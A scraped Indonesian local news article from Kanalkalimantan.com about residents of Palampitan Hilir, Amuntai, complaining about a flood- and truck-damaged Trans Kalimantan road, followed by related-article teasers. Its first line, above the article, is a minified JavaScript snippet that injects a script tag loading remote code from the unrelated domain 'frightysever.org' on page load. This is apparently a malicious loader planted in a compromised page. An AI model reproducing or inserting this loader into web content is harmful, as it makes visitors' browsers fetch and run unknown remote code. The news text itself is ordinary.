(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Pasca banjir ditambah sering kali dilintasi mobil truk bertonase tinggi, warga Desa Palampitan mengeluhkan jalan Trans Kalimantan di Desa Palampitan Hilir, Kecamatan Amuntai Tengah yang kini rusak parah penuh kubangan.
Jalan rusak tersebut merupakan ruas jalan menghubungkan kabupaten kota antar Provinsi Kalimantan Selatan, Kalimantan Tengah dan Kalimantan Timur.
Jika dipantau dari perempatan lalu lintas Desa Palampitan Hilir hingga Desa Paliwara, ada beberapa titik kerusakan, namun kondisi paling parah berada di perempatan lampu merah Palampitan Hilir.
Pasalnya, dengan kondisi jalan yang berlubang tak jarang membuat mobil amblas dan terperosok di kubangan jalan, sehingga berujung pada kemacetan panjang.
Baca juga : Polisi Amankan Puluhan Miras di Pondok Jhon
Warga setempat, Rahman berharap jalan yang berbulan-bulan rusak ini dapat segera diperbaiki, disamping dapat menimbulkan kemacetan dikhawatirkan kerusakan jalan juga dapat memicu kecelakaan.
Rahman mempertanyankan tanggapan cepat dari para pemangku kepentingan, agar dapat membantu percepatan perbaikan jalan.
Bahkan, ia mengusulkan agar para ketua RT se Palampitan dapat melayangkan surat ke Gubernur Kalsel dengan ditanda tangani seluruh Ketua RT yang isinya meminta agar ruas jalan Palampitan dapat segera diperbaiki.
“Kalau bisa dibikin jalan beton saja sepanjang jalan Palampitan dari simpang empat ke arah terminal, isinya permohonan perbaikan jalan. Bikin juga spanduk besar di Palampitan, Jalan rusak, Warga Amuntai Palampitan mengadu kemana?,” beber Rahman kepada Kanalkalimantan.com, Sabtu (4/12/2021) siang.
Baca juga : Kalsel Terima APBN 2022 Rp 25,07 Triliun, Ada Penurunan 4,28 Persen
Menurut Rahman, mestinya arus truk bermuatan berat bisa dialihkan ke jalan Trans Kalimantan yang baru, hingga tembus di Desa Pekapuran, Kecamatan Amuntai Utara, sehingga dapat mengurai kemacetan, namun sampai saat ini proses pengerjaan jalan tersebut belum selesai.
Dari pantauan terakhir, oleh warga setempat jalan yang berlubang di pasangi ban bekas sekedar tanda peringatan agar penggunaan jalan dapat berhati-hati ketika melintasi perempatan lampu merah Desa Palampitan Hilir (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.